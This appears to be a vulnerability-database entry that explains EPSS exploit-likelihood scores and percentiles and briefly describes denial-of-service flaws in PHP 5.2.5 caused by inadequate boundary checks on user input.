EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

PHP is prone to multiple denial-of-service vulnerabilities because it fails to perform adequate boundary checks on user-supplied input.
Attackers can exploit these issues to cause denial-of-service conditions. Given the nature of these issues, attackers may also be able to execute arbitrary code, but this has not been confirmed.
PHP 5.2.5 is vulnerable; other versions may also be affected.
